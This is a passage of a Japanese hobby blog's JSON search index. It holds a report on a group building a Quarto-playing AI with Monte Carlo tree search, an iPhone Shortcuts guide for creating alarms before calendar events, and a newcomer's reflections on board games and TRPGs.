href=\"https://pleroma.unigiri.net/notice/A4soOvGzreImtG7vXs\"\u003ehttps://pleroma.unigiri.net/notice/A4soOvGzreImtG7vXs\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eクアルトのルール的にソルバ転がってそうなので調べたら案の定ソルバやら論文やらスライドやらが出てきてにこにこ笑顔になった\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003ca href=\"https://pleroma.unigiri.net/notice/A4t9b9DRwudwe58dYO\"\u003ehttps://pleroma.unigiri.net/notice/A4t9b9DRwudwe58dYO\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eいやこれ読む限りQuartoで引き分けになるパターン数は414298141056なので、途中の状態を列挙せずともこれらのうちいずれかの状態となるようにしていけばいいのか？ どっちにしろ1手番ごとに引き分けパターンを全部舐めて到達可能/不可を計算するのしんどそうだが\u0026hellip;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eこの時点で人間に必ず負けない\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003eAIが実装可能かが書かれている資料が見つからなかったため、この呟きに反応していたきむにぃさんと宛先さん、更にあんのんさんも誘いQuarto会を発足しました。\u003c/p\u003e\n\u003ch2 id=\"活動内容\"\u003e活動内容\u003c/h2\u003e\n\u003ch3 id=\"an-artificial-intelligence-for-the-board-game-quarto-in-javaを読む\"\u003eAn artificial intelligence for the board game \u0026lsquo;Quarto!\u0026rsquo; in Javaを読む\u003c/h3\u003e\n\u003cp\u003e全探索する、機械学習させる、定石を列挙する等の色々な案が出ましたが、まずはサーベイということでインターネットに無料で転がっていた\u003ca href=\"https://www.researchgate.net/publication/261848662_An_artificial_intelligence_for_the_board_game_%27Quarto%27_in_Java\"\u003eAn artificial intelligence for the board game \u0026lsquo;Quarto!\u0026rsquo; in Java\u003c/a\u003eを読み、メンバー各自で担当箇所を決めてスライド等にまとめました。\u003c/p\u003e\n\u003cp\u003eこの論文により、主に\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eまっさらな盤面からの完全ゲーム木\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e生成は難しいこと\n\u003cul\u003e\n\u003cli\u003eつまり、ゲームの序盤でどの手が最善手かを完璧に判断することは難しい\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eQuartoでは勝利条件的に同等とみなしてよい盤面が回転と鏡写し以外でも生成可能なこと\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003emid flip\u003c/code\u003e と \u003ccode\u003einside out\u003c/code\u003e と呼ばれる\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eアルファ・ベータ法\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003eにより、ある程度動くAIは実装可能なこと\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eが分かりました。\u003c/p\u003e\n\u003cp\u003eしかしアルファ・ベータ法によるAIは実行速度があまり速いと言えないこと、またゲームの勝敗状況を判断するための評価関数の実装に疑問が残るということから、別のアルゴリズムを調べることになりました。\u003c/p\u003e\n\u003ch3 id=\"モンテカルロ木探索によるaiの実装\"\u003eモンテカルロ木探索によるAIの実装\u003c/h3\u003e\n\u003cp\u003e先述の論文を探していた時に\u003ca href=\"https://qiita.com/keyhole0/items/326b4d0cc14bd09cc8ae\"\u003eモンテカルロ木探索で作るクアルト専用対戦AI\u003c/a\u003eというQiitaの記事を見つけていたため、モンテカルロ木探索とは何かという所から調べました。\u003c/p\u003e\n\u003cp\u003eその結果\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e囲碁で実績のあるアルゴリズムであること\u003c/li\u003e\n\u003cli\u003e採用条件的にQuartoの仕様やルールに合っているということ\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://keyhole0.github.io/Ktuarto/\"\u003eQiitaの記事の人が公開している対戦可能なAI\u003c/a\u003eが鬼強くメンバー全員が勝てなかったこと\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eから、このモンテカルロ木探索の挙動をより深く知るために\u003ca href=\"https://github.com/keyhole0/Ktuarto\"\u003eGitHubに公開されているAIのソースコード\u003c/a\u003eの解析を試みました。\u003cbr\u003e\n2021年12月時点ではこのソースコードの解析を元に各メンバーのゴールを決め、その達成に向けて活動をしています。\u003c/p\u003e\n\u003cp\u003e盤面を棋譜として扱えるようにする、Quarto特有のチューニング箇所を見つけ出す等の個々人のゴールがありますが、私のゴールとしてはQiita記事のAIよりも強いAIを作ることです。\u003cbr\u003e\nそのためには手軽にAI同士で対戦できる環境とAIの強さを数値化し比較可能にするためのELOレーティング導入が必要なため、現在はこの2つを実現する環境を構築しています。\u003cbr\u003e\n環境の構築後にAIのチューニング等を行い、より強いAIの実装を実現させる予定です。\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e以上がQuarto会の2021年活動報告書です。\u003c/p\u003e\n\u003cp\u003eもしこの活動内容に興味がある、もしくは本会へ参加したい方がおりましたら、Fediverse経由で\u003ca href=\"https://tablegame.mstdn.cloud/@unigiri\"\u003eUnigiri\u003c/a\u003e宛へのメンションか本サイトのトップページに記載されているメールアドレス宛へご連絡をよろしくお願いします。\u003cbr\u003e\n喜んで詳細な活動内容をお伝えいたします。\u003c/p\u003e","title":"Quartoを計算機に解かせる会 2021年活動報告書"},{"content":"この記事は卓ゲ箪笥 Advent Calendar 2021の1日目の記事です。\n前回は2020年度最終日の雷羅さんによるI wanna sing the Carol( )でした。\nこの記事はiPhoneユーザ、かつ不眠に悩んでいない人を対象としています。\nAndroid等の他のスマホユーザは、iPhoneの購入を検討しながらこの記事を読んでください。\n不眠の人は、こんな腹立つ記事を書きやがってと憤ってください。\nはじめに 皆さん、睡眠は好きですか？\n私は大好きです。毎日就寝していますし、毎日起床しています。\nですがこの睡眠というものが困り物で、なんと睡眠中は意識を失ってしまうのです。\nもしボードゲームやTRPGの予定の直前にうっかり睡眠を嗜んでしまうと、遅刻やドタキャンを発生させてしまいます。\niPhone標準アプリであるカレンダーの機能として予定の前に \\ﾘ-ﾝ♪/ という音を発生させる機能がありますが、惰眠を貪る選手権優勝かつ二度寝発生率堂々1位の人間がそんなことで起きるはずがありません。\nもっと爆音で、もっとしつこく、意識が覚醒するまで無限に繰り返し鳴り続ける機能が必要とされています。\nそう、例えば同じく標準アプリである時計のアラーム機能のような\u0026hellip;\nここでは、カレンダーに入れた予定の開始15分前に鳴るアラームを自動作成する方法を解説します。\n前提 GoogleアカウントをiPhoneの標準アプリであるカレンダーと連携させ、予定を表示させている Google製のカレンダーアプリの使用についてはここでは考慮しない GoogleアカウントにTRPG/BoardGameというカレンダーを作成している カレンダーはWeb版Googleカレンダーの左側メニューから作成可能 仕様 TRPG/BoardGameカレンダーに予定を登録する 毎日午前3時に、その日にTRPG/BoardGameカレンダーに登録されている全ての予定を確認する 当日をN日とした場合、N+1日以降の予定は確認しない 確認した各予定の15分前に鳴るアラームを時計アプリへ作成する 午前3時以降に予定の内容が変更された場合はアラームに反映されないため、手動で修正する必要がある アラーム自動作成方法 iPhone標準アプリであるショートカットを使用します。\n1. ショートカットアプリの起動 ショートカットのアプリを起動し、画面下部のからオートメーションを選択します。\n選択すると、以下のような画面になります。\n※スクリーンショットはアラーム自動作成完了後の状態です。\nまだ作業を行っていない場合は「毎日、3:00に」と書かれた設定は存在しません。\n2. ショートカットの新規作成 1の状態で右上に表示されている「+」をタップします。\nすると、以下の画面が表示されます。\nここでは「個人用オートメーション」を作成をタップします。\nすると、以下の画面が表示されます。\nここでは一番上に表示されている「時刻」をタップします。\nすると、以下の画面が表示されます。\nここではアラームの自動作成をいつ行うかを設定します。\nスクショでは深夜の3時に設定されていますが、お好みの時間で構いません。\nただし、繰り返しは「毎日」を指定してください。\n右上の「次へ」を押して、次の画面に移動します。\nすると、以下の画面が表示されます。\n3. ショートカットのアクション設定 3-1. カレンダーから予定を取得 画面中央に表示されている「アクションを追加」をタップします。\nすると、アクション一覧が表示されます。\n以下のように検索フォームに「カレンダー」と入力し、絞り込まれた項目の中から「カレンダーイベントを検索」をタップします。\nすると、以下ようにアクションが追加されます。\n追加されたアクションの内容を以下のように変更します。\n変更点は\n開始日を7日から1日に変更 「フィルタを追加」をタップし「カレンダー 次と等しい TRPG/BoardGame」を指定 並び順序を開始日(古い順)に指定 です。\n3-2. 繰り返しアクションを作成 1日に複数の卓予定が入っている可能性があるため、各予定のアラームを作成するために繰り返し処理を指定します。\n先程作成したアクションの下部に表示されている「+」をタップします。 すると、以下の画面が表示されます。\n今回は検索フォームには何も入力せず、デフォルトの状態で表示されている「スクリプティング」をタップします。\n※私が使っているiPhoneは液晶サイズが小さいためスクリプティと短縮されて表示されています。\nすると、スクリプティングで指定できるアクションの一覧が表示されます。\nスクロールし、制御フローカテゴリ内にある「各項目を繰り返す」をタップします。\nタップすると、以下のようにスクリプティングアクションが追加されます。\nこのアクションは内容を変更せず、デフォルトのまま使用します。\n3-3. アラームを作成 「+」をタップして新しいアクションを作成します。\n以下のように検索フォームに「日付を調整」と入力し、表示されたアクションをタップします。\nタップ後に再度「+」をタップして、もう一つ新しいアクションを追加します。\n検索フォームに「時計」と入力し、表示された項目の中から「アラームを作成」をタップします。\n2つのアクションの追加後、画面は以下のようになっています。\nこの語、追加した2つのアクションを繰り返しの中に移動させます。\n具体的にはアクションを指で長押しして位置を動かせるようにし、目的の場所へ移動させます。\n最終的に、以下のような位置関係になるように動かしてください。\n上から\nカレンダーから予定を取得するアクション (スクショ内では見切れて表示されていない) スクリプティング開始アクション 日付調整アクション アラーム作成アクション スクリプティング終了アクション という順に並んでいる状態です。\n最後に、以下のように2つのアクションの内容を変更します。 変更点は\n日付調整アクションを「開始日から15分を減算」に指定 アラーム作成アクションを「調整済みの日付のアラームをタイトルという名称で作成」に指定 です。\nアラーム作成アクションの設定変更で「タイトル」が見つからない場合は「繰り返し項目」をタップします。\nそうすることで、サブ項目としてタイトルが選択可能になります。\n4. 動作確認 設定が全て終わったので、最後に動作確認をします。\n動かす前に、TRPG/BoardGameカレンダーに本日の予定が1つ以上登録されていることを確認してください。\n予定が0個の場合、アラームは作成されません。\n予定があることを確認したら画面右下にある「▶」をタップして、実際にこのショートカットを動かしてみます。\n時計アプリを起動し、アラーム一覧を表示します。\nアラームが作成されていたら、ショートカットの実行は成功です。\nショートカットの画面に戻り、右上の「次へ」をタップします。\n以下のような画面に移動するため「実行の前に尋ねる」をオフにします。\n右上の完了をタップして、アラーム自動作成の手順は終了です。\nおわりに おめでとうございます！この手順を最後まで行ったあなたは、いつでも惰眠を貪れます。\nしかし注意してください。睡眠の力とは恐ろしいもので、いくらアラームを鳴らしても起きない場合があります。\nまた、無意識でアラームを切って二度寝する可能性もあります。\n睡眠欲というものは人間の無意識にまで居座り、決して抗うことはできないということです。\n根本的に寝落ちを防止するには規則正しい生活、昼間に活動しても疲れ果てない体力、その他色々な努力が必要です。\nそういうものが手に入る人生だといいですね。\n明日はたけっきさんのAKG沼にはまったです。\n","permalink":"https://unigiri.gitlab.io/posts/the-ultimate-way-for-iphone-users-to-stop-oversleeping/","summary":"\u003cp\u003eこの記事は\u003ca href=\"https://adventar.org/calendars/6259\"\u003e卓ゲ箪笥 Advent Calendar 2021\u003c/a\u003eの1日目の記事です。\u003cbr\u003e\n前回は2020年度最終日の雷羅さんによる\u003ca href=\"https://raira-trpg.blogspot.com/2020/12/i-wanna-sing-carol.html\"\u003eI wanna sing the Carol( )\u003c/a\u003eでした。\u003c/p\u003e\n\u003cp\u003eこの記事はiPhoneユーザ、かつ不眠に悩んでいない人を対象としています。\u003cbr\u003e\nAndroid等の他のスマホユーザは、iPhoneの購入を検討しながらこの記事を読んでください。\u003cbr\u003e\n不眠の人は、こんな腹立つ記事を書きやがってと憤ってください。\u003c/p\u003e\n\u003ch2 id=\"はじめに\"\u003eはじめに\u003c/h2\u003e\n\u003cp\u003e皆さん、睡眠は好きですか？\u003cbr\u003e\n私は大好きです。毎日就寝していますし、毎日起床しています。\u003c/p\u003e\n\u003cp\u003eですがこの睡眠というものが困り物で、なんと睡眠中は意識を失ってしまうのです。\u003cbr\u003e\nもしボードゲームやTRPGの予定の直前にうっかり睡眠を嗜んでしまうと、遅刻やドタキャンを発生させてしまいます。\u003c/p\u003e\n\u003cp\u003eiPhone標準アプリであるカレンダーの機能として予定の前に \\ﾘ-ﾝ♪/ という音を発生させる機能がありますが、惰眠を貪る選手権優勝かつ二度寝発生率堂々1位の人間がそんなことで起きるはずがありません。\u003cbr\u003e\nもっと爆音で、もっとしつこく、意識が覚醒するまで無限に繰り返し鳴り続ける機能が必要とされています。\u003cbr\u003e\nそう、例えば同じく標準アプリである時計のアラーム機能のような\u0026hellip;\u003c/p\u003e\n\u003cp\u003eここでは、カレンダーに入れた予定の開始15分前に鳴るアラームを自動作成する方法を解説します。\u003c/p\u003e\n\u003ch2 id=\"前提\"\u003e前提\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eGoogleアカウントをiPhoneの標準アプリであるカレンダーと連携させ、予定を表示させている\n\u003cul\u003e\n\u003cli\u003eGoogle製のカレンダーアプリの使用についてはここでは考慮しない\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eGoogleアカウントにTRPG/BoardGameというカレンダーを作成している\n\u003cul\u003e\n\u003cli\u003eカレンダーはWeb版Googleカレンダーの左側メニューから作成可能\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cimg alt=\"1.png\" loading=\"lazy\" src=\"/posts/the-ultimate-way-for-iphone-users-to-stop-oversleeping/1.png\"\u003e\u003c/p\u003e\n\u003ch2 id=\"仕様\"\u003e仕様\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eTRPG/BoardGameカレンダーに予定を登録する\u003c/li\u003e\n\u003cli\u003e毎日午前3時に、\u003cstrong\u003eその日\u003c/strong\u003eにTRPG/BoardGameカレンダーに登録されている全ての予定を確認する\n\u003cul\u003e\n\u003cli\u003e当日をN日とした場合、N+1日以降の予定は確認しない\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e確認した各予定の15分前に鳴るアラームを時計アプリへ作成する\n\u003cul\u003e\n\u003cli\u003e午前3時以降に予定の内容が変更された場合はアラームに反映されないため、手動で修正する必要がある\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"アラーム自動作成方法\"\u003eアラーム自動作成方法\u003c/h2\u003e\n\u003cp\u003eiPhone標準アプリである\u003ca href=\"https://support.apple.com/ja-jp/guide/shortcuts/welcome/ios\"\u003eショートカット\u003c/a\u003eを使用します。\u003c/p\u003e\n\u003ch3 id=\"1-ショートカットアプリの起動\"\u003e1. ショートカットアプリの起動\u003c/h3\u003e\n\u003cp\u003eショートカットのアプリを起動し、画面下部のからオートメーションを選択します。\u003cbr\u003e\n選択すると、以下のような画面になります。\u003c/p\u003e\n\u003cp\u003e※スクリーンショットはアラーム自動作成完了後の状態です。\u003cbr\u003e\nまだ作業を行っていない場合は「毎日、3:00に」と書かれた設定は存在しません。\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"2.png\" width=\"400px\"/\u003e \n\u003c/figure\u003e\n\n\u003ch3 id=\"2-ショートカットの新規作成\"\u003e2. ショートカットの新規作成\u003c/h3\u003e\n\u003cp\u003e1の状態で右上に表示されている「+」をタップします。\u003cbr\u003e\nすると、以下の画面が表示されます。\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"3.png\" width=\"400px\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eここでは「個人用オートメーション」を作成をタップします。\u003cbr\u003e\nすると、以下の画面が表示されます。\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"4.png\" width=\"400px\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eここでは一番上に表示されている「時刻」をタップします。\u003cbr\u003e\nすると、以下の画面が表示されます。\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"5.png\" width=\"400px\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eここではアラームの自動作成をいつ行うかを設定します。\u003cbr\u003e\nスクショでは深夜の3時に設定されていますが、お好みの時間で構いません。\u003cbr\u003e\nただし、繰り返しは「毎日」を指定してください。\u003c/p\u003e\n\u003cp\u003e右上の「次へ」を押して、次の画面に移動します。\u003cbr\u003e\nすると、以下の画面が表示されます。\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"6.png\" width=\"400px\"/\u003e \n\u003c/figure\u003e\n\n\u003ch3 id=\"3-ショートカットのアクション設定\"\u003e3. ショートカットのアクション設定\u003c/h3\u003e\n\u003ch4 id=\"3-1-カレンダーから予定を取得\"\u003e3-1. カレンダーから予定を取得\u003c/h4\u003e\n\u003cp\u003e画面中央に表示されている「アクションを追加」をタップします。\u003cbr\u003e\nすると、アクション一覧が表示されます。\u003cbr\u003e\n以下のように検索フォームに「カレンダー」と入力し、絞り込まれた項目の中から「カレンダーイベントを検索」をタップします。\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"7.png\" width=\"400px\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003eすると、以下ようにアクションが追加されます。\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg loading=\"lazy\" src=\"8.png\" width=\"400px\"/\u003e \n\u003c/figure\u003e\n\n\u003cp\u003e追加されたアクションの内容を以下のように変更します。\u003cbr\u003e\n変更点は\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e開始日を7日から1日に変更\u003c/li\u003e\n\u003cli\u003e「フィルタを追加」をタップし「カレンダー 次と等しい TRPG/BoardGame」を指定\u003c/li\u003e\n\u003cli\u003e並び順序を開始日(古い順)に指定\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eです。\u003c/p\u003e","title":"iPhoneユーザへ贈る最強の寝過ごし防止法"},{"content":"ボードゲームとTRPGに対する所感 これは箪笥 Advent Calendar 2020の12日目の記事です。\n前日は、まきぬのさんの少女展爛会の全クラス・タイプ・オーデの特技に感想でした。\n1. あなたは誰? Unigiriと申します。うにぎりと読みます。\nhttps://tablegame.mstdn.cloud (通称:箪笥) では、ボードゲームとTRPGを半々くらいの割合で楽しんでいます。\n今までに経験したボードゲームをここに、TRPGをここに載せています。\nTRPGは今のところPL専門で、近々初GMをする予定です。\n2. なにを話すの? 私は2020年8月10日に箪笥へ入るまでTRPGは全くの未経験、ボードゲームはほぼ未経験だったという初心者です。\nそのため語れる便利な情報などなく、界隈初心者あるあるの自分語りをします。\n今回は、箪笥に入る前と後で、私の中でボードゲームとTRPGへの印象がどう変わったかについてのお話です。\n3. ボードゲーム 3-1. 箪笥加入前 率直に言うと、ボードゲームとは何かをよく知りませんでした。\nと言っても全く遊んだことがなかったわけではなく、小さい頃に友達の家でいくつか遊んだことがありましたが、それらをボードゲームと呼ぶと教わらなかったためか「外国製の変わった遊び」と認識していました。\nまた、箪笥加入前に通っていたオフィスにボードゲームの箱が積まれていたものの、特に手に取ったりはしませんでした。\n恵まれた環境だったんだなあと今になって思います。\n恵まれた環境といえば、幼少時の自宅から自転車で約10分の所にすごろくやがあったのですが、一度も入ることなく引っ越しました。\nなぜ入らなかったんでしょうか??????\n3-2. 箪笥加入後 加入してすぐは前述の通りボードゲームが何を指すのかをよく知らなかったため、きむにぃさんの色々なゲーム紹介文を読んでいる時に「ボードゲームって七並べやソリティアとどう違うんですか?」という質問をぐっとこらえていました。\n(あまりにもアホっぽい質問だと思ったので言いませんでしたが、言ったら言ったで面白かったかもしれません)\n幸いなことにその後色々なゲームに誘っていただき、テクニックなどもたくさん教えていただきました。\nさて、特にカタンやカルカソンヌなどのタイルを並べて陣地をどうのこうのするゲームで遊んだ時に感じるのですが、PCゲームでCPUと一人遊びをすることの多かった私にとってボードゲームに対しての印象は\n「PCで遊べるCivilizationシリーズやカードゲームみたいなものは元々アナログ発祥で、アナログだと対人プレイしかできない」\n「対人プレイだとわいわい話しながらできる上、CPUみたいに動きが単調ではないため、より楽しい」\nというものです。\n何を当たり前のことを書いているんだという感じですが、今まではこの手のもので遊ぶ相手はCPUくらいしかいませんでした。 そのため戦略を立てて勝つというよりも、いかにCPUのパターンを読んでそれに応じた最適な動きをするかという遊び方をしていたため、一筋縄ではいかない対人のゲームはより難しく、そしてより楽しいです。\n未だにこれなら負けない!というゲームを持てていないため、そろそろ何か1つを極めてみたいところです。\n4. TRPG 4-1. 箪笥加入前 TRPGは、ニコニコ動画でリプレイ動画、もしくはリプレイ風の動画を見ていました。\n具体的には、ゆっくりクズどものクトゥルフを見ていました。\nさて、これはあるあるネタなのかは分かりませんが、そういうわけでクトゥルフ以外のTRPGが存在することを知りませんでした。\nつまりTRPG = クトゥルフだったので、箪笥の説明として「ボードゲームとTRPGで遊ぶサーバ」という文を読んだときは「ははーん。ボードゲームとクトゥルフを遊ぶサーバなのかな」と思っていました。\n今となっては、そんなことある\u0026hellip;?という感じですが。\n4-2. 箪笥加入後 そんな無知な私でしたが、初のTRPGはトーキョー・ナイトメアでした。\nその時には既に箪笥のHTLから、色々なTRPGがあってそれらはシステムと呼ばれているということを学んでいました。\nその卓のGM(TNMなので正しくはRL)はうさたーんさんで、自己紹介の時に私が「TRPGは初めてで、リプレイ動画をよく見ていました」と言った時に、実際やるTRPGはリプレイ動画とはかなり違う、と若干シリアスめに伝えられたことをよく覚えています。\n遊んでみれば確かにそうで、実際の卓では一瞬で適した判断を下せるわけでも、判定に必要な計算が瞬時にできるわけでもありません。\nしかし、そのことは私にとって全く問題ではありませんでした。\n例えるならば、役者希望の人が他人の舞台を見続け、拙い技術ながらもやっと自分の舞台に立てたときの気持ちでしょうか。\nずっと(1年間くらい?)リプレイ動画を見ながら楽しそうだなと思っていた私にとって、初めてのTRPGで「やっと物語の参加者になれた」という思いを強く感じました。\n元々演技は好きなほうなので、卓がある度に毎回楽しくロールプレイさせていただいています。\n箪笥の皆さんとたくさん物語を作ることができて、とても嬉しいです。\n5.いい感じの締め というわけで、今ではボードゲームとTRPG共にとても楽しく遊んでいます。\nまだまだ拙いところがあるかとは思いますが、これからもどうぞよろしくお願いします！\n明日は-101-さんの描いたよ報告です。\n","permalink":"https://unigiri.gitlab.io/posts/tansu-advent-calendar-2020/","summary":"\u003ch1 id=\"ボードゲームとtrpgに対する所感\"\u003eボードゲームとTRPGに対する所感\u003c/h1\u003e\n\u003cp\u003eこれは\u003ca href=\"https://adventar.org/calendars/6102\"\u003e箪笥 Advent Calendar 2020\u003c/a\u003eの12日目の記事です。\u003cbr\u003e\n前日は、まきぬのさんの\u003ca href=\"https://makimochi89.hatenablog.com/entry/2020/12/11/015845\"\u003e少女展爛会の全クラス・タイプ・オーデの特技に感想\u003c/a\u003eでした。\u003c/p\u003e\n\u003ch2 id=\"1-あなたは誰\"\u003e1. あなたは誰?\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://tablegame.mstdn.cloud/@unigiri\"\u003eUnigiri\u003c/a\u003eと申します。うにぎりと読みます。\u003cbr\u003e\n\u003ca href=\"https://tablegame.mstdn.cloud\"\u003ehttps://tablegame.mstdn.cloud\u003c/a\u003e (通称:箪笥) では、ボードゲームとTRPGを半々くらいの割合で楽しんでいます。\u003c/p\u003e\n\u003cp\u003e今までに経験したボードゲームを\u003ca href=\"/article/%E7%B5%8C%E9%A8%93%E6%B8%88%E3%81%BF%E3%83%9C%E3%83%BC%E3%83%89%E3%82%B2%E3%83%BC%E3%83%A0%E4%B8%80%E8%A6%A7/\"\u003eここ\u003c/a\u003eに、TRPGを\u003ca href=\"/article/%E7%B5%8C%E9%A8%93%E6%B8%88%E3%81%BFtrpg%E4%B8%80%E8%A6%A7/\"\u003eここ\u003c/a\u003eに載せています。\u003cbr\u003e\nTRPGは今のところPL専門で、近々初GMをする予定です。\u003c/p\u003e\n\u003ch2 id=\"2-なにを話すの\"\u003e2. なにを話すの?\u003c/h2\u003e\n\u003cp\u003e私は2020年8月10日に箪笥へ入るまでTRPGは全くの未経験、ボードゲームはほぼ未経験だったという初心者です。\u003cbr\u003e\nそのため語れる便利な情報などなく、界隈初心者あるあるの自分語りをします。\u003c/p\u003e\n\u003cp\u003e今回は、箪笥に入る前と後で、私の中でボードゲームとTRPGへの印象がどう変わったかについてのお話です。\u003c/p\u003e\n\u003ch2 id=\"3-ボードゲーム\"\u003e3. ボードゲーム\u003c/h2\u003e\n\u003ch3 id=\"3-1-箪笥加入前\"\u003e3-1. 箪笥加入前\u003c/h3\u003e\n\u003cp\u003e率直に言うと、ボードゲームとは何かをよく知りませんでした。\u003cbr\u003e\nと言っても全く遊んだことがなかったわけではなく、小さい頃に友達の家でいくつか遊んだことがありましたが、それらをボードゲームと呼ぶと教わらなかったためか「外国製の変わった遊び」と認識していました。\u003c/p\u003e\n\u003cp\u003eまた、箪笥加入前に通っていたオフィスにボードゲームの箱が積まれていたものの、特に手に取ったりはしませんでした。\u003cbr\u003e\n恵まれた環境だったんだなあと今になって思います。\u003c/p\u003e\n\u003cp\u003e恵まれた環境といえば、幼少時の自宅から自転車で約10分の所に\u003ca href=\"https://sugorokuya.jp/\"\u003eすごろくや\u003c/a\u003eがあったのですが、一度も入ることなく引っ越しました。\u003cbr\u003e\nなぜ入らなかったんでしょうか??????\u003c/p\u003e\n\u003ch3 id=\"3-2-箪笥加入後\"\u003e3-2. 箪笥加入後\u003c/h3\u003e\n\u003cp\u003e加入してすぐは前述の通りボードゲームが何を指すのかをよく知らなかったため、\u003ca href=\"https://tablegame.mstdn.cloud/@Arbolpueblo\"\u003eきむにぃ\u003c/a\u003eさんの色々なゲーム紹介文を読んでいる時に「ボードゲームって七並べやソリティアとどう違うんですか?」という質問をぐっとこらえていました。\u003cbr\u003e\n(あまりにもアホっぽい質問だと思ったので言いませんでしたが、言ったら言ったで面白かったかもしれません)\u003c/p\u003e\n\u003cp\u003e幸いなことにその後色々なゲームに誘っていただき、テクニックなどもたくさん教えていただきました。\u003c/p\u003e\n\u003cp\u003eさて、特にカタンやカルカソンヌなどのタイルを並べて陣地をどうのこうのするゲームで遊んだ時に感じるのですが、PCゲームでCPUと一人遊びをすることの多かった私にとってボードゲームに対しての印象は\u003c/p\u003e\n\u003cp\u003e「PCで遊べるCivilizationシリーズやカードゲームみたいなものは元々アナログ発祥で、アナログだと対人プレイしかできない」\u003cbr\u003e\n「対人プレイだとわいわい話しながらできる上、CPUみたいに動きが単調ではないため、より楽しい」\u003c/p\u003e\n\u003cp\u003eというものです。\u003c/p\u003e\n\u003cp\u003e何を当たり前のことを書いているんだという感じですが、今まではこの手のもので遊ぶ相手はCPUくらいしかいませんでした。 \u003cbr\u003e\nそのため戦略を立てて勝つというよりも、いかにCPUのパターンを読んでそれに応じた最適な動きをするかという遊び方をしていたため、一筋縄ではいかない対人のゲームはより難しく、そしてより楽しいです。\u003c/p\u003e\n\u003cp\u003e未だにこれなら負けない!というゲームを持てていないため、そろそろ何か1つを極めてみたいところです。\u003c/p\u003e\n\u003ch2 id=\"4-trpg\"\u003e4. TRPG\u003c/h2\u003e\n\u003ch3 id=\"4-1-箪笥加入前\"\u003e4-1. 箪笥加入前\u003c/h3\u003e\n\u003cp\u003eTRPGは、ニコニコ動画でリプレイ動画、もしくはリプレイ風の動画を見ていました。\u003cbr\u003e\n具体的には、\u003ca href=\"https://www.nicovideo.jp/series/26264\"\u003eゆっくりクズどものクトゥルフ\u003c/a\u003eを見ていました。\u003c/p\u003e\n\u003cp\u003eさて、これはあるあるネタなのかは分かりませんが、そういうわけでクトゥルフ以外のTRPGが存在することを知りませんでした。\u003cbr\u003e\nつまりTRPG = クトゥルフだったので、箪笥の説明として「ボードゲームとTRPGで遊ぶサーバ」という文を読んだときは「ははーん。ボードゲームとクトゥルフを遊ぶサーバなのかな」と思っていました。\u003cbr\u003e\n今となっては、そんなことある\u0026hellip;?という感じですが。\u003c/p\u003e\n\u003ch3 id=\"4-2-箪笥加入後\"\u003e4-2. 箪笥加入後\u003c/h3\u003e\n\u003cp\u003eそんな無知な私でしたが、初のTRPGはトーキョー・ナイトメアでした。\u003cbr\u003e\nその時には既に箪笥のHTLから、色々なTRPGがあってそれらはシステムと呼ばれているということを学んでいました。\u003c/p\u003e\n\u003cp\u003eその卓のGM(TNMなので正しくはRL)は\u003ca 